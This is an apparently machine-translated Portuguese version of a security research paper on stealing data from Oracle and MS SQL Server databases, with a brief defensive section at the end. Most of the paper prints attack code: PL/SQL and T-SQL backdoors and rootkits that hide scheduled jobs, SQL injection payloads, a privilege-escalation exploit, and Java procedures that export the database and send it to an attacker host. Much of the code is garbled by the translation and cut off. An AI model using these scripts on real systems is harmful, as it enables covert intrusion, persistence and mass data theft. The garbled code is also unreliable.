Академический Документы
Профессиональный Документы
Культура Документы
Autor:
Cesar Cerrudo
(Cesar> .no. <Argeniss> .dot. <Com)
Esteban Martinez fayo
(Esteban> .no. <Argeniss> .dot. <Com)
Argeniss - Segurança da Informação
Abstrato:
O roubo de dados está se tornando uma grande ameaça, os criminosos identificaram onde está o dinheiro. Nos últimos anos muitos bancos
de dados de empresas Fortune 500 foram comprometidos causando muitas perdas de dinheiro. Este artigo irá discutir o problema de roubo
de dados com foco em ataques de banco de dados, vamos mostrar informação real sobre o quão sério o problema de roubo de dados é,
vamos explicar por que você deve se preocupar com a segurança de banco de dados e ataques comuns serão descritos, a parte principal do
papel será a demonstração de desconhecido e não ataques bem conhecidos que podem ser usados ou estão sendo usados por criminosos
para roubar dados facilmente de seus bancos de dados, vamos nos concentrar em servidores de banco de dados mais utilizados: MS SQL
Server e Oracle Database, será mostrou como para roubar um banco de dados completo da Internet, como roubar dados usando um rootkit
banco de dados e backdoor e alguns avançados exploits 0 dias de banco de dados. Vamos demonstrar que comprometer bancos de dados
não é grande coisa, caso não tenham sido devidamente protegidas. Também será discutido como se proteger contra ataques de modo que
você pode melhorar a segurança do banco de dados em seu site.
Introdução:
“Por uma estimativa, 53 milhões de pessoas tiveram dados sobre se expuseram ao longo dos últimos 13 meses” - InformationWeek,
2006/03/20 [1]
Isso é notícia velha, agora o número de pessoas que tiveram expostos seus dados é mais de 100 milhões!
Na imagem seguinte, você pode ver o topo Incidentes 10 Cliente Data-Loss partir de março de 2006:
http://www.privacyrights.org/ar/ChronDataBreaches.htm
- 2- www.argeniss.com
Argeniss - Segurança da Informação
Lá, uma cronologia de violações de dados é mantido até à data pela Privacy Rights Clearinghouse [2].
Estas violações de dados não só prejudica as pessoas que tem seus dados comprometidos, o maior dano é causado à empresa
afetada pela violação, a fim de ilustrar isso vamos ver algum dinheiro estimado perde de algumas empresas que não cuidam dos
dados:
● ChoicePoint: $ 15 milhões de
● Atacado de BJ: $ 10 milhões de
● Acxiom: $ 850.000
● Providence Health System: $ 9 milhões de
Os dados sobre as pessoas tem mais valor do que as pessoas pensam, vamos ver e estimativa de quanto vale dados pessoais
(Open precificação de dados pessoais de Swipe Toolkit mercado [3]):
Você pode ver porque os criminosos estão indo para os seus dados, é claro no mercado negro os preços não será o mesmo (talvez
sim), mas 20% desses preços multiplicado por digamos 100.000 registros É um bom dinheiro para um ponto e clique poucos minutos
trabalho (corte).
Você deve se preocupam com a segurança de banco de dados porque os bancos de dados são onde o seu descanso de dados mais valioso:
● dados corporativos.
● Dados do cliente.
● Dados financeiros.
● Etc.
Quando os bancos de dados parar de trabalhar a sua empresa pára de funcionar também, tentar fazer uma rápida
- 3- www.argeniss.com
Argeniss - Segurança da Informação
estimativa sobre quanto dinheiro você vai perder se seus bancos de dados parar de trabalhar por um par de horas, por um dia, uma
semana, etc. instantaneamente você vai perceber que seus bancos de dados são a coisa mais importante na sua empresa. Eu estava
falando sobre bancos de dados parar de trabalhar sem mencionar a razão, o que dizer se seus bancos de dados hackeado, em seguida,
sua empresa pode perder milhões, no pior caso, ele pode ser executado fora do negócio.
E essa lista fica maior a cada dia, mas o cumprimento dos regulamentos e leis não é nosso assunto agora, é merece um outro papel.
vulnerabilidades de banco de dados afetam todos os fornecedores de banco de dados, eu sei que é notícia velha, mas adivinhem? ainda é um
grande problema, alguns fornecedores como a nossa amada Oracle (DB2 não parecem muito melhor !!) são mais afetados que outros. Por
exemplo, em 2006 a Oracle lançou 4 Critical Patch de actualizações relacionadas com o servidor de banco de dados, mais de 20 remotas (sem
autenticação necessária) vulnerabilidades foram corrigidas, mas isso não é o pior nova, atualmente existem mais de 50 vulnerabilidades que ainda
estão sem patch no oracle Database, então não importa se os seus servidores de banco de dados estão atualizados com patches de eles ainda
podem ser facilmente invadidas.
Para dar uma idéia de como de buggy são servidores de banco de dados, deixe-me mencionar rapidamente quantas 0 dias Argeniss tem atualmente:
● DB2: 8
● Informix: 2
● Oracle:> 50
Hoje em dia perímetro de defesa é forte e seguro, mas isso não é suficiente, bancos de dados têm muitos pontos de entrada, tais como
aplicações web, redes internas, redes de parceiros, etc. Qualquer usuário de banco de dados regular pode cortar um banco de dados se
não for devidamente acompanhados. Não importa se os sistemas operacionais e redes estão devidamente protegidas, bases de dados
ainda pode: ser mal-configurados, têm senhas fracas, ser vulnerável a vulnerabilidades desconhecidas e conhecidas, etc.
É importante mencionar como bancos de dados são cortado, tendo isso em mente ajuda você a melhor protegê-los. Vamos enumerar
alguns ataques comuns.
Explorando mis-configurações:
Alguns servidores de banco de dados estão abertos por padrão. Lotes de funcionalidade activada e a maior parte do tempo configurado insegura.
- 4- www.argeniss.com
Argeniss - Segurança da Informação
Entregar um Trojan:
Este não é um ataque do servidor de banco de dados comum, mas é algo que estamos pesquisando e os resultados são assustadores,
em breve teremos uma besta bonito pronto, talvez na próxima papel que você saberá.
Um trojan pode ser entregue por e-mail, p2p, IM, CD, DVD, pen drive, etc. Uma vez que ele é executado em um computador desktop por
um funcionário da empresa, ele vai ficar servidores de banco de dados e usuários de informação de forma automática e discrição usando
ODBC , OLEDB, JDBC conexões configurado, cheirando, etc. Quando a informação suficiente é coletado o trojan pode se conectar a
servidores de banco de dados, ele poderia tentar contas padrão, se necessário. Depois de um login bem-sucedido ele estará pronto para
roubar dados, que poderia executar um 0 dias para elevar privilégios para o próprio servidor de banco de dados completo e também instalar
um rootkit banco de dados para esconder suas ações. Todas as etapas anteriores será repetido em cada servidor de banco de dados
encontrados. O trojan pode enviar os dados roubados criptografados de volta ao atacante por e-mail, HTTP, canal secreto, etc.
Se arquivos de dados e backup de dados não são criptografados, uma vez que os dados roubados pode ser facilmente comprometida.
Existem maneiras diferentes de implementar rootkits em bancos de dados Oracle, para mais informações ver [7].
Este artigo mostra um exemplo de um rootkit que modifica vistas dicionário de dados para esconder a actividade invasor.
- 5- www.argeniss.com
Argeniss - Segurança da Informação
Para implementar um Backdoor Oracle Database um atacante pode escrever um programa em PL / SQL, Java ou uma combinação de
ambos.
Este programa (o backdoor) pode ser programado, usando a funcionalidade Job, para serem executados periodicamente, por isso, se a
conexão for perdida ou a instância de banco de dados for reiniciado, o atacante vai se conectar em um momento posterior.
A fim de evitar a detecção, a comunicação entre o backdoor e anfitrião do atacante pode ser criptografado ou codificado de alguma
forma que não é detectado por um IDS ou IPS e que não é compreensível para alguém que está olhando para o tráfego da rede.
Console Backdoor:
O Console Backdoor é uma aplicação gráfica que o atacante corre em sua / seu computador. Ele permite ao atacante:
O Backdoor instalado no servidor de banco de dados eo Console Backdoor que está sendo executado em uso de host TCP do atacante /
IP para se comunicar. O Console Backdoor escuta em uma porta TCP predefinida (4444) à espera de conexões do Backdoor servidor de
banco de dados.
Quando o Backdoor é iniciado, ele abre uma conexão TCP de saída para uma série predefinida e porta onde o Console Backdoor está
escutando. A primeira mensagem que o Backdoor envia, contém informações sobre a propriedade de banco de dados: tipo Database
Server (Oracle, SQL Server), versão, nome de banco de dados e ID de banco de dados.
- 6- www.argeniss.com
Argeniss - Segurança da Informação
Ele faz um loop até que o comando “EXIT” é recebido. Quando o Backdoor recebe o comando EXIT, ele fecha a conexão
TCP.
• comando executar
• Enviar Output
recebido
A comunicação entre o Console Backdoor e Backdoor instalado no banco de dados
- 7- www.argeniss.com
Argeniss - Segurança da Informação
Scripts PL / SQL:
Estes são scripts PL / SQL que irá instalar (ou desinstalar) o rootkit e o backdoor em um banco de dados Oracle.
OracleRootkit.sql:
Este script cria uma função que modifica o dicionário de dados vistas DBA_JOBS, DBA_JOBS_RUNNING, KU $ _JOB_VIEW para
esconder o trabalho backdoor.
A função pode ser injetado em qualquer vulnerabilidade de injeção SQL, onde uma chamada de função pode ser injetado como é o caso de
muitas vulnerabilidades de injeção SQL recentemente encontrados no software Oracle.
Abaixo está o script que instala o backdoor. Os pontos de vista originais são alteradas para adicionar uma condição na cláusula WHERE para
que o trabalho backdoor não é devolvido. Em vermelho você pode ver o que está incluído na definição da exibição original.
CRIAR OU SUBSTITUIR
FUNÇÃO ins_rootkit DEVOLVER VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION; INÍCIO
EXECUTAR IMEDIATA 'CRIAR OU SUBSTITUIR FORCE VIEW "SYS". "DBA_JOBS" ( "trabalho", "LOG_USER", "PRIV_USER",
"SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE ", "NEXT_SEC", "TOTAL_TIME",
"quebrado", "Intervalo", "falhas", "o quê", "NLS_ENV", "MISC_ENV", "instância") AS
EXECUTAR IMEDIATA 'CRIAR OU SUBSTITUIR FORCE VIEW "SYS". "KU $ _JOB_VIEW" OF "SYS". "KU $ _JOB_T"
j.flag, j.failures,
REPLACE (j.interval #, '' '' '' '', '' '' '' '' '' ''),
SUBSTITUIR (j.what, '' '' '' '', '' '' '' '' '' ''), SUBSTITUIR (j.nlsenv, '' '' '' '', '' ''
'' '' '' ''),
j.env, j.field1, j.charenv
de sys.job $ j, SYS.USER $ u onde j.powner = u.name e não j.what gostar '' Declare
UTL_TCP.CONNECTION l_cn;% ''' ;
- 8- www.argeniss.com
Argeniss - Segurança da Informação
COMMIT;
RETORNA ''; FIM;
OracleBackdoor.sql:
Este script cria uma função que envia um trabalho que lê comandos do host atacante, executa-los e envia a saída do comando de volta
para o atacante.
Crie uma função chamada ins_backdoor que executa como o usuário chamando e é definida como uma transação autônoma. Estas
características são necessários para esta função, em seguida, pode ser usado em uma injeção de SQL explorar.
CRIAR OU SUBSTITUIR
FUNÇÃO ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
NÚMERO job_id; INÍCIO
Envie um trabalho de banco de dados usando a funcionalidade de trabalho em DBMS_JOB. Para a comunicação TCP / IP com o
Console Backdoor ele usa o pacote padrão UTL_TCP Oracle.
Abre uma conexão com o host atacante onde o Console Backdoor está em execução. Neste script é codificado para 192.168.253.1 ea
porta TCP é 4444. Você pode alterá-lo para qualquer outro valor.
Obter as informações sobre o banco de dados e enviá-lo através da conexão TCP como um documento XML.
SELECIONE DBID, NOME EM l_colcnt, l_sqlstm DE V $ DATABASE; bandeira SELECT INTO l_columnvalue de v $ VERSÃO
ONDE ROWNUM = 1; l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' <? xml version = "1.0" encoding = "utf-8"?
> <IncommingConn xmlns = "http://tempuri.org/IncomingBackdoorConn.xsd" dbType = "Oracle" ServerVersion = " '' || l_columnvalue || ''"
DBName = " '' || l_sqlstm || ''" DBID = " '' || l_colcnt || ''" /> '');
LOOP
l_sqlstm: = UTL_TCP.GET_LINE (l_cn, TRUE); EXIT WHEN
SUPERIOR (l_sqlstm) = '' SAIR ''; INÍCIO
l_thecursor: = DBMS_SQL.OPEN_CURSOR;
Se o comando SQL recebido é um SELECT primeiro irá obter todos os nomes de coluna e enviá-los para que o Console Backdoor exibe
como os cabeçalhos de coluna em uma grade.
- 9- www.argeniss.com
Argeniss - Segurança da Informação
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' || l_desc_t (i) .col_name); DBMS_SQL.DEFINE_COLUMN (l_thecursor,
i, l_columnvalue, 2000); END LOOP;
Se o comando SQL recebido não é um SELECT apenas executá-la usando EXECUTE IMMEDIATE.
FIM SE;
EXCEÇÃO
SYSDATE + 10/86400 é o momento em que o trabalho deve começar pela primeira vez. Ele é de 10 segundos após a apresentação.
'SYSDATE + 1/1440' significa que o trabalho será executado novamente a cada um minuto.
CleanOracleBackdoor.sql:
Este script remove todo o Backdoor Jobs. Para fazer isso, ele vai procurar todos os trabalhos de banco de dados começando com
'Declare L_CN UTL_TCP.CONNECTION;' e removê-los usando
DBMS_JOB.REMOVE.
DECLARAR
CURSOR l_cur_jobs IS
JOB SELECT FROM JOB $ onde o que LIKE 'UTL_TCP.CONNECTION DECLARE l_cn;%'; l_rec l_cur_jobs% rowtype;
- 10 www.argeniss.com
Argeniss - Segurança da Informação
INÍCIO
l_cur_jobs aberta; LOOP
CleanOracleRootkit.sql:
Restaura os dados de emprego views de dicionário para seu estado original.
É semelhante a OracleRootkit.sql mas sem as condições que foram adicionados para ocultar o backdoor (texto em vermelho).
Como discutido anteriormente, esses scripts precisam ser executado no servidor de banco de dados como um usuário com privilégios de DBA.
Na seção anterior 'Como bancos de dados são cortado?' podemos citar e descreveu algumas das técnicas que os invasores poderiam usar
para conseguir isso.
DECLARAR
P_CHANGE_SET VARCHAR2 (32767);
P_DESCRIPTION VARCHAR2 (32767); NÚMERO
P_SUBSCRIPTION_HANDLE; INÍCIO
DBMS_XMLQUERY.GETXML:
Há uma função (disponível desde o Oracle 9i Release 1) chamou GetXml em DBMS_XMLQUERY pacote que executa uma consulta e
retorna o resultado no formato XML. Por padrão, ele tem o privilégio EXECUTE concedidos para PUBLIC. A parte interessante é que ele
permite executar blocos PL / SQL anônimos e criando uma transação autônoma não executa apenas consultas
- 11- www.argeniss.com
Argeniss - Segurança da Informação
mas também DML e DDL declarações. Sem a elevação de privilégios existe aqui, mas isso pode ser usado para explorar mais facilmente
as muitas vulnerabilidades de injeção SQL que exigem uma função a ser criado e também para explorar facilmente a injeção de SQL em
uma aplicação web com um backend de banco de dados Oracle.
Para executar blocos PL / SQL como o usuário do banco de dados web um atacante pode enviar este no parâmetro Pesquisa da página
web:
'|| dbms_xmlquery.getXml (' declarar PRAGMA AUTONOMOUS_TRANSACTION; começar a executar imediatamente '' QUALQUER
PL / SQL BLOCK ''; commit; fim; '0) ||'
Isto resulta na próxima PL / SQL que está sendo executada pelo usuário de banco de dados web:
SELECIONE EMPNO, ENAME, TRABALHO DE SCOTT.EMP ONDE ENAME LIKE '' || dbms_xmlquery.getXml ( 'declarar
PRAGMA AUTONOMOUS_TRANSACTION; começar a executar imediatamente '' QUALQUER PL / SQL BLOCK ''; commit; fim;
', 0) || '%'
Vamos supor que o usuário do banco de dados web não tem privilégios de DBA, mas o privilégio CREATE PROCEDURE. Então, vamos
criar uma função que instala o backdoor e mais tarde vamos explorar uma vulnerabilidade de injeção SQL em um dos pacotes Oracle
para executar esta função como SYS.
Para criar a função para instalar o Backdoor Job um atacante pode enviá-lo para o parâmetro da página web vulnerável a injeção de
SQL:
'|| dbms_xmlquery.getXml (' declarar PRAGMA AUTONOMOUS_TRANSACTION; início
executar imediato '' CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA
AUTONOMOUS_TRANSACTION; NÚMERO job_id; NÚMERO L_COUNT; BEGIN executar imediato '' '' SELECT COUNT (*) FROM JOB
$ ONDE QUE GOSTA '' '' '' '' Declare UTL_TCP.CONNECTION l_cn;% '' '' '' '' '' '' INTO L_COUNT; se L_COUNT = 0, em seguida,
DBMS_JOB.SUBMIT (job_id, '' '' DECLARE UTL_TCP.CONNECTION l_cn; PLS_INTEGER l_ret_val; l_sqlstm VARCHAR2 (32000);
l_thecursor INTEGER; l_columnvalue VARCHAR2 (2000); l_status INTEGER; l_colcnt número padrão 0; l_desc_t DBMS_SQL.
DESC_TAB; BEGIN
l_cn: =
UTL_TCP.OPEN_CONNECTION ( '' '' '' '' 192.168.253.1 '' '' '' '', 4444, 1521); SELECIONE DBID, NOME EM l_colcnt, l_sqlstm DE V
$ DATABASE; bandeira SELECT INTO l_columnvalue de v $ VERSÃO ONDE ROWNUM = 1; l_ret_val: = UTL_TCP.WRITE_LINE
(l_cn, '' '' '' '' <xml version = "1.0" encoding = "utf-8"?
> <IncommingConn xmlns = "http://tempuri.org/IncomingBackdoorConn.xsd" dbType = "Oracle" ServerVersion = " '' '' '' '' ||
l_columnvalue || '' '' '' ''" DBName =" '' '' '' '' || l_sqlstm || '' '' '' ''" DBID = " '' '' '' '' || l_colcnt || '' '' '' ''"/>' '' '' '' '); LOOP
- 12 www.argeniss.com
Argeniss - Segurança da Informação
O trabalho backdoor ainda não foi criada. Para criá-lo o atacante precisa executar a função ins_backdoor que acabou de criar como um
usuário DBA. Para isso, o atacante pode enviar esta exploit para o parâmetro vulnerável aplicação web:
Ele explora uma vulnerabilidade Oracle no SYS.DBMS_METADATA.GET_DDL (ver [8] e [9] ) Para executar a função scott.ins_backdoor
no contexto de segurança utilizador SYS.
De maneira semelhante que o backdoor foi instalado o rootkit também pode ser instalado usando um aplicativo web vulnerável a injeção
de SQL.
Este exemplo consiste em dois scripts que necessita para ser executado após o banco de dados foi comprometida (requer privilégio
DBA). Os scripts de trabalhar em todas as plataformas em que o Oracle é executado. Existem duas versões diferentes dos scripts uma
para * nix e outro para Windows, sendo a única diferença entre eles os locais de caminho para arquivos e diretórios.
export_and_zip.sql:
Neste script, criamos dois procedimentos armazenados usando a funcionalidade Java fornecido pela Oracle para obter acesso ao
sistema operacional.
Esta função Java cria um arquivo de texto que será usado para chamar utilitário exp do Oracle para exportar todo o conteúdo do banco de dados para
um arquivo. parâmetros:
parfile: nome de arquivo para o arquivo de parâmetro de texto que será criado. exportação: nome de
arquivo para o arquivo exportado.
pública createParfile static void (String parfile, String exportação) throws IOException
Esta função Java executado como comandar um sistema operacional os cmd string passada como um parâmetro.
- 13- www.argeniss.com
Argeniss - Segurança da Informação
p.waitFor ();
}};
AS JAVA LÍNGUA
NOME 'ExecuteOS.createParfile (java.lang.String, java.lang.String)';
Executar os procedimentos armazenados Java: Criar um arquivo de parâmetro para o utilitário exp, execute o utilitário exp para exportar o
banco de dados e comprimir o arquivo exportado com um utilitário Zip. locais de caminho são diferentes por isso temos duas versões uma
para Windows e outra para * nix
- - janelas
BEGIN
PROC_CREATEPARFILE ( 'C: \ parfile.txt', 'C: \ export.dmp'); PROC_EXECUTEOS (
'parfile exp = C: \ parfile.txt'); PROC_EXECUTEOS ( 'zip c: \ export.zip c: \ export.dmp'); FIM;
- - * Nix
BEGIN
Assim, este script cria um arquivo de exportação no hospedeiro servidor, contendo todos os dados no banco de dados compactados em
formato Zip. Agora precisamos enviar o arquivo através da rede para o host atacante.
send_zip.sql:
Este script utiliza a funcionalidade Java disponível no Oracle Database Server para abrir uma conexão TCP de saída a partir do servidor
de banco de dados para o atacante host remoto em um determinado número de porta TCP. Uma vez que esta conexão é aberta, o script
envia todos os conteúdos no arquivo Zip exportados através desta ligação.
Esta função Java usa a funcionalidade de rede em java.net. * Para enviar um arquivo local através de uma conexão TCP / IP para um site
remoto.
pública FileSend static void (String myFile, String host, porta int) throws Exception
{ comprimento int;
- 14- www.argeniss.com
Argeniss - Segurança da Informação
CREATE OR REPLACE PROCEDURE "PROC_FILESEND" (myFile varchar2, hostname2 varchar2, Port PLS_INTEGER)
como Java LÍNGUA
Executar o Java procedimento armazenado para enviar o arquivo exportado (export.zip) a partir do servidor de banco de dados para o host
do atacante (192.168.253.1 porta TCP 4445).
- - janelas
exec PROC_FILESEND ( 'C: \ export.zip', '192.168.253.1', 4445);
- - * nix
PROC_FILESEND exec ( './dbs/export.zip', '192.168.253.1', 4445);
Para receber o arquivo compactado com todos os conteúdos de banco de dados, o atacante pode usar o utilitário netcat para redirecionar o
que é recebido em uma porta TCP para um arquivo. Isso pode ser feito com o seguinte comando:
As sentenças anteriores poderiam ser executado por injeção SQL explorando em uma aplicação web se
- 15- www.argeniss.com
Argeniss - Segurança da Informação
a aplicação web tem suficientes privilégios que não é incomum, 'sa' ou outra conta administrativa são frequentemente utilizados por
desenvolvedores web para se conectar ao MS SQL Server.
Os dados podem ser comprimidos de 10: 1 ou mais, de modo de banco de dados de 1 GB será 100Mb por isso não é difícil de roubar grandes quantidades de
dados.
Há essa velha ferramenta chamada DataThief, é apenas uma PoC bastante básico I construída em 2002, sim, é de 5 anos, o que é
surpreendente é que ele ainda funciona e essa é a razão pela qual é mencionado aqui, para mostrar que como um simples e velho
ferramenta pode ser facilmente usado para roubar dados por apenas apontar e clicar. Esta ferramenta explora SQL Injection e funciona
mesmo se você não pode obter resultados nem erros de volta na aplicação web. Ele usa uma técnica que não serão detalhados aqui,
mas você pode olhar para [4] para mais pormenores, basicamente, faz atacou aplicação web backend SQL Server conectar a um
atacante SQL Server e copiar todos os dados disponíveis, ele usa a funcionalidade OpenRowset assim lá há necessidade de privilégios
elevados, no SQL Server 2000 é habilitado por padrão, em que o SQL Server 2005' não é habilitado por padrão, mas se a funcionalidade
foi habilitada porque as necessidades específicas, então ele pode ser abusado. Para que esta ferramenta para trabalhar a infra-estrutura
SQL Server deve ser capaz de se conectar ao atacante SQL Server.
Este é um ponto e clique ferramenta muito fácil de usar que, infelizmente, tem sido usado por bandidos para roubar dados, essa é a razão
pela qual ela foi tirada fora de linha há algum tempo.
Para usar a ferramenta que você primeiro precisa ter o seu próprio (ou não) MS SQL Server em que a ferramenta irá copiar os dados
disponíveis, você tem que configurar os parâmetros de conexão no topo da ferramenta, então você precisa encontrar uma injeção de
SQL ponto de entrada em uma aplicação web e definir o URL e os parâmetros adicionando <***> onde instruções SQL será injetado
automaticamente, também tem de definir o método HTTP usado para enviar os dados para a aplicação web, depois que você só precisa
começar a fazer clique e você vai ter todos os dados disponíveis.
- 16 www.argeniss.com
Argeniss - Segurança da Informação
Esta ferramenta está disponível juntamente com este papel e tem um documento de ajuda que dão mais detalhes sobre como usá-lo.
Roubar credenciais da conta do SQL Server e usá-los para ligar de volta para SQL Server:
Como você deve saber MS SQL Server suporta a autenticação NTLM do Windows, a autenticação NTLM e fraquezas NTLM não serão
detalhados aqui você pode olhar [5] para mais detalhes. O mecanismo NTLM desafio resposta é vulnerável a ataques MITM porque, por
padrão, todas as versões do Windows usar uma configuração fraca, para que possamos explorar isso para lançar um ataque que nos
permitirá conectar a MS SQL Server como a conta de usuário sob o serviço SQL Server é execução que sempre é uma conta
administrativa, logicamente este ataque não vai funcionar se o SQL Server está sendo executado na conta LocalSystem porque não
pode autenticar a sistemas remotos, mas não se preocupe porque o SQL Server na conta LocalSystem não é uma boa segurança
praticar e não é recomendado pela Microsoft.
Podemos forçar SQL Server ligar para nós (o atacante) e tentar autenticar (xp_fileexist pode ser executado por qualquer usuário de
banco de dados):
Essa frase fará com que SQL Server para tentar autenticar o computador remoto como sua conta de serviço que tem privilégios de
banco de dados sysadmin.
Ao utilizar este ataque NTLM MITM, podemos usar as credenciais do SQL Server para ligar de volta para o SQL Server como sysadmin e do
próprio servidor de banco de dados (e, em seguida, o proprietário do servidor Windows, claro, mas isso é outro assunto)
- 17- www.argeniss.com
Argeniss - Segurança da Informação
Este ataque é implementado pela nossa ferramenta de Maguro (por JP) disponível junto com este papel, que consiste em um par de
scripts python, atualmente essa ferramenta só funciona com Windows 2000, ainda estamos trabalhando para apoiar Windows 2003.
Extractos de magurô-README.txt:
...
Maguro túneis uma conexão TDS / SQL para um servidor de destino SQL para um usuário não privilegiado.
O túnel faz malabarismo com os pacotes NTLMSSP contidas na conexão TDS / SQL, e se agrava privilégios para os da conta do
servidor SQL está sendo executado como (não vai funcionar se o SQL Server está sendo executado na conta Sistema Local), usando o
já bem conhecido e documentado ataque MITM para a autenticação NTLM, que já existe há vários anos (primeira informação detalhada
eu me lembro vem do autor do Relé SMB, Sir Dystic de Cult of the Dead Cow [0]).
- 18- www.argeniss.com
Argeniss - Segurança da Informação
Para isso, ele força o servidor SQL-alvo para se conectar e autenticar-se para a máquina do atacante.
...
SE NÃO EXISTE (SELECT nome msdb.dbo.syscategories WHERE name = N '[Sem categoria (Local)]' E category_class = 1) BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @ classe = N'JOB '@ type = N'LOCAL', @ name = N '[Sem categoria
(local)]'
IF (@@ ERROR <> 0 OU @ReturnCode <> 0) GOTO QuitWithRollback
FIM
- 19- www.argeniss.com
Argeniss - Segurança da Informação
OUTTEXT = OUTTEXT & vbcrlf & rec.getstring (,, vbTab, vbcrlf, "")
outro
OUTTEXT = err.description
- 20- www.argeniss.com
Argeniss - Segurança da Informação
Se
terminar Se final se
extremidade do laço
se
CheckError função
se err = 0 então
CheckError = false else
O código acima irá primeiro criar um emprego, então ele irá agendar o trabalho para ser executado sempre que você quer, finalmente, ele irá
adicionar uma etapa de trabalho com o VBScript que irá se conectar ao atacante através de HTTP e ler um comando do Data cabeçalho HTTP e
retornar respostas de volta e assim sucessivamente até o comando "exit" é lido.
Se você quiser executar o trabalho logo depois de criá-lo você pode executar o seguinte:
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para instalar rootkit para esconder backdoor
- - executado como um trabalho, acrescentando "(jobs.name <> 'backD00r') E" em onde cláusula
- 21- www.argeniss.com
Argeniss - Segurança da Informação
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N' ALTER VISTA
sysjobs_view AS
jobs.job_id SELECT,
svr.originating_server,
jobs.name, jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id, jobs.delete_level,
jobs.date_created, jobs.date_modified,
jobs.version_number,
jobs.originating_server_id, svr. master_server
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para instalar rootkit para esconder cronograma
- - para o trabalho backdoor, acrescentando: "E sched.name <> '1'" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view AS
sched.schedule_id SELECT,
sched.schedule_uid,
sched.originating_server_id,
sched.name, sched.owner_sid,
sched.enabled, sched.freq_type,
- 22- www.argeniss.com
Argeniss - Segurança da Informação
sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date,
sched.active_end_date,
sched.active_start_time,
sched.active_end_time,
sched.date_created, sched.date_modified,
sched.version_number, svr.
originating_server, svr.master_server
Depois de executar a executar o código acima o trabalho que criou anteriormente serão ocultadas a partir de ferramentas MS SQL Server.
Vamos continuar tendo acesso sem ser notado pelos administradores de banco de dados. Depois de ter feito tudo o que queremos com o
servidor de banco de dados ou se estamos cansados de possuir o servidor que pode remover o rootkit com o próximo código TSQL:
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar rootkit que esconde backdoor
- - executado como um trabalho, removendo "(jobs.name <> 'backD00r') E" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N' ALTER VISTA
sysjobs_view AS
jobs.job_id SELECT,
svr.originating_server,
jobs.name, jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id, jobs.delete_level,
jobs.date_created,
- 23- www.argeniss.com
Argeniss - Segurança da Informação
jobs.date_modified,
jobs.version_number,
jobs.originating_server_id,
svr.master_server
DE msdb.dbo.sysjobs como trabalhos
ADERIR msdb.dbo.sysoriginatingservers_view como svr NO
jobs.originating_server_id = svr.originating_server_id
- - LEFT JOIN msdb.dbo.sysjobservers js NO jobs.job_id = js.job_id ONDE (owner_sid =
SUSER_SID ())
OU (ISNULL (IS_SRVROLEMEMBER (N''sysadmin ''), 0) = 1) OU (ISNULL (IS_MEMBER
(N''SQLAgentReaderRole ''), 0) = 1) ou ((ISNULL (IS_MEMBER (N''TargetServersRole' '),
0) = 1) e
(Existe (SELECT * FROM msdb.dbo.sysjobservers js
ONDE js.server_id <> 0 e js.job_id = jobs.job_id))) - filtrar empregos locais
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar rootkit que esconde cronograma
- - para o trabalho backdoor, remoção "E sched.name <> '1'" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view AS
sched.schedule_id SELECT,
sched.schedule_uid,
sched.originating_server_id, sched.name,
sched.owner_sid, sched.enabled,
sched.freq_type, sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date, sched.
active_end_date, sched.active_start_time,
sched.active_end_time,
sched.date_created, sched.date_modified,
sched.version_number,
svr.originating_server, svr.master_server
- 24 www.argeniss.com
Argeniss - Segurança da Informação
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar backdoor
--
----------------------------------------------------------------------
DECLARE @jobId BINÁRIO (16)
select @ jobId = job_id DE msdb.dbo.sysjobs onde name = 'backD00r' EXEC msdb.dbo.sp_delete_job @ job_id
= @ jobId, @ delete_unused_schedule = 1
Depois de remover o rootkit e backdoor o servidor de banco de dados continuará funcionando sem problemas. Em vez de remover o
rootkit e backdoor você pode simplesmente desativar a agenda de trabalho e habilitá-lo quando você precisar dele, porque você não
precisa se preocupar com o backdoor sendo detectada a menos que alguns administradores de banco de dados inteligentes ler o
próximo :)
Para detectar se este rootkit é instalado, ele está apenas consultando fácil como diretamente msdb.dbo.sysjobs e
msdb.dbo.sysschedules mesas e comparando os resultados com os apresentados por ferramentas MS SQL Server.
Temos visto alguns ataques muito legal, estamos constantemente pesquisando e encontrar novos ataques e vulnerabilidades em servidores
de banco de dados, para mais exploits, avisos, trabalhos de pesquisa, etc. relacionados para a segurança de banco de dados você pode olhar
[6].
Vamos ver agora como você pode proteger seus bancos de dados contra ataques.
Use criptografia:
- 25- www.argeniss.com
Argeniss - Segurança da Informação
Ao nível da rede: usar SSL, banco de dados protocolos proprietários. No nível de arquivo: criptografia do sistema de arquivos Arquivo e
